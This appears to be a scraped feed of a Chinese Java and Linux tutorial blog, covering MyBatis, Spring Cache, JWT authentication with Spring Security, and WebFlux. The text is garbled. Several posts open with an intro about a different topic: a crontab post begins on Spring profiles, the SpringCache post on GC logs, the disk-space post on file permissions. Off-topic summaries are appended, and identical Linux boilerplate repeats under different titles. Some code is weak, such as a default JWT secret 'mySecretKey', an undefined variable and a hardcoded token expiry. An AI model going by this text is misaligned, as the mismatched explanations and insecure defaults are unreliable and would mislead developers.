        <id property="id" column="id"/>
        <result property="username" column="user_name"/>
        <result property="email" column="email"/>
        <association property="department" javaType="Department">
            <id property="id" column="dept_id"/>
            <result property="name" column="dept_name"/>
        </association>
    </resultMap>
    
    <select id="selectById" resultMap="userResultMap">
        SELECT u.*, d.name as dept_name
        FROM t_user u
        LEFT JOIN t_department d ON u.dept_id = d.id
        WHERE u.id = #{id}
    </select>
    
    <select id="selectByCondition" resultMap="userResultMap">
        SELECT u.*, d.name as dept_name
        FROM t_user u
        LEFT JOIN t_department d ON u.dept_id = d.id
        <where>
            <if test="username != null">
                AND u.user_name LIKE CONCAT('%', #{username}, '%')
            </if>
            <if test="status != null">
                AND u.status = #{status}
            </if>
        </where>
        ORDER BY u.create_time DESC
    </select>
    
    <insert id="insert" useGeneratedKeys="true" keyProperty="id">
        INSERT INTO t_user (user_name, email, status)
        VALUES (#{username}, #{email}, #{status})
    </insert>
    
    <update id="update">
        UPDATE t_user
        <set>
            <if test="username != null">user_name = #{username},</if>
            <if test="email != null">email = #{email},</if>
        </set>
        WHERE id = #{id}
    </update>
</mapper>

#

Mapper 接口

@Mapper
public interface UserMapper {
    User selectById(Long id);
    List<User> selectByCondition(@Param("username") String username, 
                                  @Param("status") Integer status);
    int insert(User user);
    int update(User user);
}

#

使用

@Service
public class UserService {
    @Autowired
    private UserMapper userMapper;
    
    public User getUser(Long id) {
        return userMapper.selectById(id);
    }
    
    public List<User> searchUsers(String username, Integer status) {
        return userMapper.selectByCondition(username, status);
    }
}

MyBatis-Plus（增强）

@Mapper
public interface UserMapper extends BaseMapper<User> {
}

@Service
public class UserService extends ServiceImpl<UserMapper, User> {
    
    public List<User> getActiveUsers() {
        return lambdaQuery()
            .eq(User::getStatus, 1)
            .like(StringUtils.isNotBlank(name), User::getUsername, name)
            .list();
    }
    
    public IPage<User> getUserPage(int current, int size) {
        return page(new Page<>(current, size),
            new QueryWrapper<User>().orderByDesc("create_time"));
    }
}

选型建议

场景推荐
快速开发、CRUD 为主JPA / MyBatis-Plus
复杂 SQL、性能敏感MyBatis
多表关联、对象关系复杂JPA
遗留系统、SQL 已存在MyBatis
团队熟悉 SQLMyBatis
团队熟悉 HibernateJPA
需要数据库无关性JPA

混合使用

@Service
public class OrderService {
    
    @Autowired
    private OrderRepository orderRepository;  // JPA
    
    @Autowired
    private ReportMapper reportMapper;        // MyBatis
    
    public Order getOrder(Long id) {
        return orderRepository.findById(id).orElse(null);
    }
    
    public List<Map<String, Object>> getReport() {
        return reportMapper.selectComplexReport();
    }
}

总结

  • JPA：适合面向对象、快速开发、简单查询的场景
  • MyBatis：适合复杂 SQL、性能优化、遗留系统的场景
  • MyBatis-Plus：在 MyBatis 基础上提供 CRUD 便利，兼顾灵活性和效率

实际项目中，可以根据模块特点选择不同的持久层方案，甚至混合使用。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> Spring 学习笔记 Spring crontab 定时任务从配置到排查 //crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/ crontab 定时任务从配置到排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux SpringCache缓存抽象层 //springcache-huan-cun-chou-xiang-ceng/ SpringCache缓存抽象层

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

启用缓存

@Configuration
@EnableCaching
public class CacheConfig {
}

核心注解

注解作用
@Cacheable有缓存则返回，无缓存则执行方法并缓存
@CachePut执行方法并更新缓存
@CacheEvict清除缓存
@Caching组合多个缓存操作
@CacheConfig类级别共享缓存配置

基本使用

#

@Cacheable

@Service
public class UserService {
    
    @Cacheable(value = "users", key = "#id")
    public User getUser(Long id) {
        // 只会在缓存不存在时执行
        return userDao.findById(id);
    }
    
    @Cacheable(value = "users", key = "#username")
    public User getUserByUsername(String username) {
        return userDao.findByUsername(username);
    }
    
    // 多参数
    @Cacheable(value = "users", key = "#id + '_' + #type")
    public User getUser(Long id, String type) {
        return userDao.findByIdAndType(id, type);
    }
    
    // 使用 root 对象
    @Cacheable(value = "users", key = "#root.methodName + '_' + #id")
    public User getUserV2(Long id) {
        return userDao.findById(id);
    }
    
    // 条件缓存
    @Cacheable(value = "users", key = "#id", condition = "#id > 0")
    public User getUserIfPositive(Long id) {
        return userDao.findById(id);
    }
    
    //  unless：结果不满足条件时缓存
    @Cacheable(value = "users", key = "#id", unless = "#result == null")
    public User getUserUnlessNull(Long id) {
        return userDao.findById(id);
    }
}

#

@CachePut

@CachePut(value = "users", key = "#user.id")
public User updateUser(User user) {
    return userDao.save(user);
}

#

@CacheEvict

@CacheEvict(value = "users", key = "#id")
public void deleteUser(Long id) {
    userDao.deleteById(id);
}

// 清空整个缓存
@CacheEvict(value = "users", allEntries = true)
public void clearCache() {
}

// 在方法前清除
@CacheEvict(value = "users", key = "#id", beforeInvocation = true)
public void deleteUserBefore(Long id) {
    userDao.deleteById(id);
}

#

@Caching

@Caching(
    put = {
        @CachePut(value = "users", key = "#user.id"),
        @CachePut(value = "users", key = "#user.username")
    },
    evict = {
        @CacheEvict(value = "userList", allEntries = true)
    }
)
public User saveUser(User user) {
    return userDao.save(user);
}

#

@CacheConfig

@CacheConfig(cacheNames = "users")
@Service
public class UserService {
    
    @Cacheable(key = "#id")  // 不需要写 value
    public User getUser(Long id) {
        return userDao.findById(id);
    }
    
    @CacheEvict(key = "#id")
    public void deleteUser(Long id) {
        userDao.deleteById(id);
    }
}

缓存配置

#

Caffeine 本地缓存

<dependency>
    <groupId>com.github.ben-manes.caffeine</groupId>
    <artifactId>caffeine</artifactId>
</dependency>
@Configuration
@EnableCaching
public class CacheConfig {
    
    @Bean
    public CacheManager cacheManager() {
        CaffeineCacheManager cacheManager = new CaffeineCacheManager();
        cacheManager.setCaffeine(Caffeine.newBuilder()
            .maximumSize(1000)
            .expireAfterWrite(10, TimeUnit.MINUTES)
            .recordStats());
        return cacheManager;
    }
}

#

Redis 缓存

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>
@Configuration
@EnableCaching
public class CacheConfig {
    
    @Bean
    public CacheManager cacheManager(RedisConnectionFactory factory) {
        RedisCacheConfiguration config = RedisCacheConfiguration.defaultCacheConfig()
            .entryTtl(Duration.ofMinutes(30))
            .serializeKeysWith(
                RedisSerializationContext.SerializationPair.fromSerializer(
                    new StringRedisSerializer()))
            .serializeValuesWith(
                RedisSerializationContext.SerializationPair.fromSerializer(
                    new GenericJackson2JsonRedisSerializer()));
        
        return RedisCacheManager.builder(factory)
            .cacheDefaults(config)
            .build();
    }
}

#

多级缓存

@Configuration
@EnableCaching
public class CacheConfig {
    
    @Primary
    @Bean
    public CacheManager cacheManager() {
        // 本地缓存 Caffeine
        CaffeineCacheManager localCache = new CaffeineCacheManager();
        localCache.setCaffeine(Caffeine.newBuilder()
            .maximumSize(100)
            .expireAfterWrite(1, TimeUnit.MINUTES));
        
        return localCache;
    }
    
    @Bean
    public CacheManager redisCacheManager(RedisConnectionFactory factory) {
        // Redis 缓存
        return RedisCacheManager.builder(factory).build();
    }
}
@Service
public class UserService {
    
    @Cacheable(value = "users", cacheManager = "cacheManager")
    public User getUserFromLocal(Long id) {
        return userDao.findById(id);
    }
    
    @Cacheable(value = "users:redis", cacheManager = "redisCacheManager")
    public User getUserFromRedis(Long id) {
        return userDao.findById(id);
    }
}

SpEL 表达式

@Cacheable(value = "users", key = "#id")
@Cacheable(value = "users", key = "#user.id")
@Cacheable(value = "users", key = "#root.args[0]")
@Cacheable(value = "users", key = "T(java.util.Objects).hash(#id, #name)")
@Cacheable(value = "users", key = "'user_' + #id")
@Cacheable(value = "users", keyGenerator = "customKeyGenerator")

自定义 KeyGenerator

@Component
public class CustomKeyGenerator implements KeyGenerator {
    
    @Override
    public Object generate(Object target, Method method, Object... params) {
        return target.getClass().getSimpleName() + "_" 
            + method.getName() + "_" 
            + StringUtils.arrayToDelimitedString(params, "_");
    }
}

缓存问题及解决

#

缓存穿透

问题：查询不存在的数据，每次都会打到数据库。

解决：

@Cacheable(value = "users", key = "#id", unless = "#result == null")
public User getUser(Long id) {
    return userDao.findById(id);
}

// 或使用空值缓存
@Cacheable(value = "users", key = "#id")
public Optional<User> getUserOptional(Long id) {
    return Optional.ofNullable(userDao.findById(id));
}

#

缓存击穿

问题：热点 key 过期，大量请求同时打到数据库。

解决：

@Cacheable(value = "users", key = "#id")
@DistributedLock(key = "'lock:user:' + #id")
public User getUser(Long id) {
    return userDao.findById(id);
}

#

缓存雪崩

问题：大量 key 同时过期。

解决：

// 随机过期时间
@Bean
public CacheManager cacheManager() {
    CaffeineCacheManager manager = new CaffeineCacheManager();
    manager.setCaffeine(Caffeine.newBuilder()
        .expireAfterWrite(10 + (int)(Math.random() * 5), TimeUnit.MINUTES));
    return manager;
}

总结

Spring Cache 简化了缓存的使用：

注解场景
@Cacheable读缓存
@CachePut写缓存
@CacheEvict删缓存
@CacheConfig类级配置

结合 Caffeine（本地）和 Redis（分布式），可以构建高效的缓存层。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> Spring 学习笔记 Spring SpringSecurity JWT令牌实战 //springsecurity-jwt-ling-pai-shi-zhan/ SpringSecurity JWT令牌实战

JWT（JSON Web Token）是前后端分离场景下最流行的认证方案。本文实现一套完整的 JWT 认证系统。

项目结构

src/main/java/com/example/
├── config/
│   └── SecurityConfig.java
├── controller/
│   └── AuthController.java
├── dto/
│   ├── LoginRequest.java
│   └── TokenResponse.java
├── entity/
│   └── User.java
├── filter/
│   └── JwtAuthenticationFilter.java
├── repository/
│   └── UserRepository.java
├── service/
│   ├── AuthService.java
│   └── CustomUserDetailsService.java
└── util/
    └── JwtUtil.java

依赖

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-security</artifactId>
    </dependency>
    <dependency>
        <groupId>io.jsonwebtoken</groupId>
        <artifactId>jjwt</artifactId>
        <version>0.12.3</version>
    </dependency>
</dependencies>

JWT 工具类

@Component
public class JwtUtil {
    
    @Value("${jwt.secret:mySecretKey}")
    private String secret;
    
    @Value("${jwt.expiration:86400000}")
    private long expiration;  // 24小时
    
    @Value("${jwt.refresh-expiration:604800000}")
    private long refreshExpiration;  // 7天
    
    private SecretKey getSigningKey() {
        return Keys.hmacShaKeyFor(secret.getBytes(StandardCharsets.UTF_8));
    }
    
    public String generateToken(UserDetails userDetails) {
        return generateToken(new HashMap<>(), userDetails, expiration);
    }
    
    public String generateRefreshToken(UserDetails userDetails) {
        return generateToken(new HashMap<>(), userDetails, refreshExpiration);
    }
    
    public String generateToken(Map<String, Object> claims, UserDetails userDetails, long exp) {
        return Jwts.builder()
            .claims(claims)
            .subject(userDetails.getUsername())
            .issuedAt(new Date())
            .expiration(new Date(System.currentTimeMillis() + exp))
            .signWith(getSigningKey())
            .compact();
    }
    
    public String extractUsername(String token) {
        return extractClaim(token, Claims::getSubject);
    }
    
    public <T> T extractClaim(String token, Function<Claims, T> claimsResolver) {
        Claims claims = extractAllClaims(token);
        return claimsResolver.apply(claims);
    }
    
    public boolean isTokenValid(String token, UserDetails userDetails) {
        String username = extractUsername(token);
        return username.equals(userDetails.getUsername()) && !isTokenExpired(token);
    }
    
    private boolean isTokenExpired(String token) {
        return extractClaim(token, Claims::getExpiration).before(new Date());
    }
    
    private Claims extractAllClaims(String token) {
        return Jwts.parser()
            .verifyWith(getSigningKey())
            .build()
            .parseSignedClaims(token)
            .getPayload();
    }
}

安全配置

@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {
    
    @Autowired
    private JwtAuthenticationFilter jwtAuthFilter;
    
    @Autowired
    private CustomUserDetailsService userDetailsService;
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf.disable())
            .sessionManagement(session -> 
                session.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/api/auth/**").permitAll()
                .requestMatchers("/api/public/**").permitAll()
                .anyRequest().authenticated()
            )
            .authenticationProvider(authenticationProvider())
            .addFilterBefore(jwtAuthFilter, UsernamePasswordAuthenticationFilter.class);
        
        return http.build();
    }
    
    @Bean
    public AuthenticationProvider authenticationProvider() {
        DaoAuthenticationProvider provider = new DaoAuthenticationProvider();
        provider.setUserDetailsService(userDetailsService);
        provider.setPasswordEncoder(passwordEncoder());
        return provider;
    }
    
    @Bean
    public AuthenticationManager authenticationManager(AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
    
    @Bean
    public PasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder();
    }
}

JWT 认证过滤器

@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {
    
    @Autowired
    private JwtUtil jwtUtil;
    
    @Autowired
    private CustomUserDetailsService userDetailsService;
    
    @Autowired
    private TokenBlacklistService tokenBlacklistService;
    
    @Override
    protected void doFilterInternal(HttpServletRequest request,
                                    HttpServletResponse response,
                                    FilterChain filterChain) throws ServletException, IOException {
        
        String authHeader = request.getHeader("Authorization");
        
        if (authHeader == null || !authHeader.startsWith("Bearer ")) {
            filterChain.doFilter(request, response);
            return;
        }
        
        String jwt = authHeader.substring(7);
        
        // 检查黑名单
        if (tokenBlacklistService.isBlacklisted(jwt)) {
            filterChain.doFilter(request, response);
            return;
        }
        
        String username = jwtUtil.extractUsername(jwt);
        
        if (username != null && SecurityContextHolder.getContext().getAuthentication() == null) {
            UserDetails userDetails = userDetailsService.loadUserByUsername(username);
            
            if (jwtUtil.isTokenValid(jwt, userDetails)) {
                UsernamePasswordAuthenticationToken authToken =
                    new UsernamePasswordAuthenticationToken(
                        userDetails, null, userDetails.getAuthorities());
                authToken.setDetails(
                    new WebAuthenticationDetailsSource().buildDetails(request));
                SecurityContextHolder.getContext().setAuthentication(authToken);
            }
        }
        
        filterChain.doFilter(request, response);
    }
}

认证服务

@Service
public class AuthService {
    
    @Autowired
    private AuthenticationManager authenticationManager;
    
    @Autowired
    private JwtUtil jwtUtil;
    
    @Autowired
    private CustomUserDetailsService userDetailsService;
    
    @Autowired
    private TokenBlacklistService tokenBlacklistService;
    
    public TokenResponse login(LoginRequest request) {
        authenticationManager.authenticate(
            new UsernamePasswordAuthenticationToken(
                request.getUsername(), request.getPassword())
        );
        
        UserDetails userDetails = userDetailsService.loadUserByUsername(request.getUsername());
        String accessToken = jwtUtil.generateToken(userDetails);
        String refreshToken = jwtUtil.generateRefreshToken(userDetails);
        
        return TokenResponse.builder()
            .accessToken(accessToken)
            .refreshToken(refreshToken)
            .tokenType("Bearer")
            .expiresIn(86400)
            .build();
    }
    
    public TokenResponse refresh(String refreshToken) {
        String username = jwtUtil.extractUsername(refreshToken);
        UserDetails userDetails = userDetailsService.loadUserByUsername(username);
        
        if (!jwtUtil.isTokenValid(refreshToken, userDetails)) {
            throw new RuntimeException("Invalid refresh token");
        }
        
        String newAccessToken = jwtUtil.generateToken(userDetails);
        String newRefreshToken = jwtUtil.generateRefreshToken(userDetails);
        
        return TokenResponse.builder()
            .accessToken(newAccessToken)
            .refreshToken(newRefreshToken)
            .tokenType("Bearer")
            .expiresIn(86400)
            .build();
    }
    
    public void logout(String token) {
        tokenBlacklistService.addToBlacklist(token);
    }
}

Token 黑名单（Redis）

@Service
public class TokenBlacklistService {
    
    @Autowired
    private StringRedisTemplate redisTemplate;
    
    private static final String BLACKLIST_PREFIX = "blacklist:";
    
    public void addToBlacklist(String token) {
        long expiration = getExpirationFromToken(token);
        redisTemplate.opsForValue().set(
            BLACKLIST_PREFIX + token, "1", expiration, TimeUnit.MILLISECONDS);
    }
    
    public boolean isBlacklisted(String token) {
        return Boolean.TRUE.equals(redisTemplate.hasKey(BLACKLIST_PREFIX + token));
    }
    
    private long getExpirationFromToken(String token) {
        // 从 JWT 解析过期时间
        return 86400000;  // 简化处理
    }
}

控制器

@RestController
@RequestMapping("/api/auth")
public class AuthController {
    
    @Autowired
    private AuthService authService;
    
    @PostMapping("/login")
    public Result<TokenResponse> login(@RequestBody @Valid LoginRequest request) {
        return Result.success(authService.login(request));
    }
    
    @PostMapping("/refresh")
    public Result<TokenResponse> refresh(@RequestHeader("X-Refresh-Token") String refreshToken) {
        return Result.success(authService.refresh(refreshToken));
    }
    
    @PostMapping("/logout")
    public Result<Void> logout(@RequestHeader("Authorization") String authHeader) {
        String token = authHeader.substring(7);
        authService.logout(token);
        return Result.success();
    }
}

前端使用

// 登录
const login = async (username, password) => {
    const response = await fetch('/api/auth/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ username, password })
    });
    const data = await response.json();
    localStorage.setItem('token', data.data.accessToken);
    localStorage.setItem('refreshToken', data.data.refreshToken);
};

// 请求拦截器
axios.interceptors.request.use(config => {
    const token = localStorage.getItem('token');
    if (token) {
        config.headers.Authorization = `Bearer ${token}`;
    }
    return config;
});

// 响应拦截器（自动刷新）
axios.interceptors.response.use(
    response => response,
    async error => {
        if (error.response.status === 401) {
            const refreshToken = localStorage.getItem('refreshToken');
            const response = await axios.post('/api/auth/refresh', null, {
                headers: { 'X-Refresh-Token': refreshToken }
            });
            localStorage.setItem('token', response.data.data.accessToken);
            return axios(error.config);
        }
        return Promise.reject(error);
    }
);

总结

JWT 认证方案的关键点：

  1. Access Token：短期有效，用于接口认证
  2. Refresh Token：长期有效，用于刷新 Access Token
  3. 黑名单：登出时加入 Redis 黑名单
  4. 无状态：服务端不存储会话，支持水平扩展

这套方案适用于大多数前后端分离项目。

]]> Spring 学习笔记 Spring systemd 服务管理入门 //systemd-fu-wu-guan-li-ru-men/ systemd 服务管理入门

systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 查看日志的几种方法 //linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/ Linux 查看日志的几种方法

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux SpringSecurity认证授权流程 //springsecurity-ren-zheng-shou-quan-liu-cheng/ SpringSecurity认证授权流程

Spring Security 是一个强大的安全框架，提供认证（Authentication）和授权（Authorization）功能。理解其内部流程对定制安全策略至关重要。

核心组件

组件作用
SecurityContextHolder存储当前安全上下文
Authentication认证令牌
AuthenticationManager认证管理器
Provider具体认证逻辑
UserDetailsService加载用户信息
FilterChain安全过滤器链
AccessDecisionManager授权决策

认证流程

HTTP Request
    |
    v
SecurityFilterChain
    |
    ├── UsernamePasswordAuthenticationFilter
    │       └── 提取用户名密码
    │       └── 创建 UsernamePasswordAuthenticationToken
    │       └── 调用 AuthenticationManager.authenticate()
    │
    ├── AuthenticationManager
    │       └── ProviderManager
    │               └── DaoAuthenticationProvider
    │                       ├── UserDetailsService.loadUserByUsername()
    │                       │       └── 从数据库加载用户
    │                       ├── 密码比对（PasswordEncoder）
    │                       └── 创建已认证的 Authentication
    │
    └── SecurityContextHolder
            └── 存入认证信息

过滤器链

请求
  |
  ├── ChannelProcessingFilter
  ├── WebAsyncManagerIntegrationFilter
  ├── SecurityContextPersistenceFilter    # 加载/保存 SecurityContext
  ├── HeaderWriterFilter
  ├── CorsFilter
  ├── CsrfFilter                          # CSRF 防护
  ├── LogoutFilter                        # 登出处理
  ├── UsernamePasswordAuthenticationFilter # 表单登录
  ├── DefaultLoginPageGeneratingFilter
  ├── DefaultLogoutPageGeneratingFilter
  ├── BasicAuthenticationFilter           # HTTP Basic
  ├── RequestCacheAwareFilter
  ├── SecurityContextHolderAwareRequestFilter
  ├── AnonymousAuthenticationFilter       # 匿名认证
  ├── SessionManagementFilter
  ├── ExceptionTranslationFilter          # 异常转换
  └── FilterSecurityInterceptor           # 授权拦截

自定义认证

1. UserDetailsService

@Service
public class CustomUserDetailsService implements UserDetailsService {
    
    @Autowired
    private UserRepository userRepository;
    
    @Override
    public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
        User user = userRepository.findByUsername(username)
            .orElseThrow(() -> new UsernameNotFoundException("用户不存在"));
        
        return org.springframework.security.core.userdetails.User.builder()
            .username(user.getUsername())
            .password(user.getPassword())
            .roles(user.getRole())
            .build();
    }
}

2. SecurityConfig

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    
    @Autowired
    private CustomUserDetailsService userDetailsService;
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf.disable())
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/login", "/register").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .requestMatchers("/api/**").authenticated()
                .anyRequest().permitAll()
            )
            .formLogin(form -> form
                .loginPage("/login")
                .loginProcessingUrl("/doLogin")
                .defaultSuccessUrl("/home")
                .failureUrl("/login?error")
            )
            .logout(logout -> logout
                .logoutUrl("/logout")
                .logoutSuccessUrl("/login")
            );
        
        return http.build();
    }
    
    @Bean
    public PasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder();
    }
    
    @Bean
    public AuthenticationManager authenticationManager(
            AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
}

JWT 认证

JWT Filter

@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {
    
    @Autowired
    private JwtTokenProvider tokenProvider;
    
    @Autowired
    private CustomUserDetailsService userDetailsService;
    
    @Override
    protected void doFilterInternal(HttpServletRequest request, 
                                    HttpServletResponse response, 
                                    FilterChain filterChain) throws ServletException, IOException {
        
        String token = getTokenFromRequest(request);
        
        if (StringUtils.hasText(token) && tokenProvider.validateToken(token)) {
            String username = tokenProvider.getUsernameFromToken(token);
            UserDetails userDetails = userDetailsService.loadUserByUsername(username);
            
            UsernamePasswordAuthenticationToken authentication =
                new UsernamePasswordAuthenticationToken(
                    userDetails, null, userDetails.getAuthorities());
            
            authentication.setDetails(
                new WebAuthenticationDetailsSource().buildDetails(request));
            
            SecurityContextHolder.getContext().setAuthentication(authentication);
        }
        
        filterChain.doFilter(request, response);
    }
    
    private String getTokenFromRequest(HttpServletRequest request) {
        String bearerToken = request.getHeader("Authorization");
        if (StringUtils.hasText(bearerToken) && bearerToken.startsWith("Bearer ")) {
            return bearerToken.substring(7);
        }
        return null;
    }
}

JWT 工具类

@Component
public class JwtTokenProvider {
    
    @Value("${jwt.secret}")
    private String jwtSecret;
    
    @Value("${jwt.expiration:86400000}")
    private long jwtExpiration;
    
    public String generateToken(UserDetails userDetails) {
        Date expiryDate = new Date(System.currentTimeMillis() + jwtExpiration);
        
        return Jwts.builder()
            .setSubject(userDetails.getUsername())
            .setIssuedAt(new Date())
            .setExpiration(expiryDate)
            .signWith(SignatureAlgorithm.HS512, jwtSecret)
            .compact();
    }
    
    public String getUsernameFromToken(String token) {
        Claims claims = Jwts.parser()
            .setSigningKey(jwtSecret)
            .parseClaimsJws(token)
            .getBody();
        return claims.getSubject();
    }
    
    public boolean validateToken(String token) {
        try {
            Jwts.parser().setSigningKey(jwtSecret).parseClaimsJws(token);
            return true;
        } catch (Exception e) {
            return false;
        }
    }
}

授权流程

方法级授权

@Service
public class OrderService {
    
    @PreAuthorize("hasRole('USER')")
    public Order createOrder(OrderRequest request) {
        // ...
    }
    
    @PreAuthorize("hasRole('ADMIN') or @securityService.isOwner(#orderId)")
    public void cancelOrder(Long orderId) {
        // ...
    }
    
    @PostAuthorize("returnObject.userId == authentication.principal.id")
    public Order getOrder(Long orderId) {
        // ...
    }
}

配置

@EnableGlobalMethodSecurity(prePostEnabled = true)
@Configuration
public class MethodSecurityConfig { }

总结

Spring Security 的核心流程：

  1. 请求进入 FilterChain
  2. 认证过滤器 提取凭证
  3. AuthenticationManager 委托认证
  4. UserDetailsService 加载用户
  5. PasswordEncoder 比对密码
  6. SecurityContextHolder 存储结果
  7. 授权拦截器 检查权限

掌握这个流程，可以灵活定制各种安全策略。

]]> Spring 学习笔记 Spring Linux 磁盘空间占满排查流程 //linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/ Linux 磁盘空间占满排查流程

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux SpringBoot WebFlux响应式编程 //springboot-webflux-xiang-ying-shi-bian-cheng/ SpringBoot WebFlux响应式编程

Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。

WebFlux vs MVC

特性Spring MVCSpring WebFlux
编程模型命令式声明式/响应式
线程模型每请求一线程事件循环 + 少量线程
阻塞支持阻塞非阻塞
底层Servlet APIReactive Streams
适用传统 Web高并发/流式数据
Spring MVC:        Spring WebFlux:
Thread-per-Request  Event Loop
┌───┐              ┌──────────┐
│Req│──Thread1     │Req1      │──Event Loop
├───┤              │Req2      │    ├──Worker
│Req│──Thread2     │Req3...   │    ├──Worker
├───┤              └──────────┘    └──Worker
│Req│──Thread3

核心概念

#

Mono 和 Flux

// Mono: 0 或 1 个元素
Mono<String> mono = Mono.just("Hello");
Mono<String> empty = Mono.empty();
Mono<String> error = Mono.error(new RuntimeException());

// Flux: 0 到 N 个元素
Flux<String> flux = Flux.just("a", "b", "c");
Flux<Integer> range = Flux.range(1, 10);
Flux<Long> interval = Flux.interval(Duration.ofSeconds(1));

#

订阅

// 订阅并消费
mono.subscribe(
    value -> System.out.println("值: " + value),
    error -> System.err.println("错误: " + error),
    () -> System.out.println("完成")
);

// 阻塞获取
String result = mono.block();

// 转换为 List
List<String> list = flux.collectList().block();

#

操作符

Flux.just(1, 2, 3, 4, 5)
    .map(n -> n * n)           // 转换: 1, 4, 9, 16, 25
    .filter(n -> n > 10)       // 过滤: 16, 25
    .take(1)                   // 取前1个: 16
    .subscribe(System.out::println);

// 合并
Mono<String> m1 = Mono.just("Hello");
Mono<String> m2 = Mono.just("World");
Mono<String> combined = Mono.zip(m1, m2, (a, b) -> a + " " + b);

创建 WebFlux 应用

#

依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-webflux</artifactId>
</dependency>

#

注解式 Controller

@RestController
public class UserController {
    
    @Autowired
    private UserRepository userRepository;
    
    @GetMapping("/users")
    public Flux<User> listUsers() {
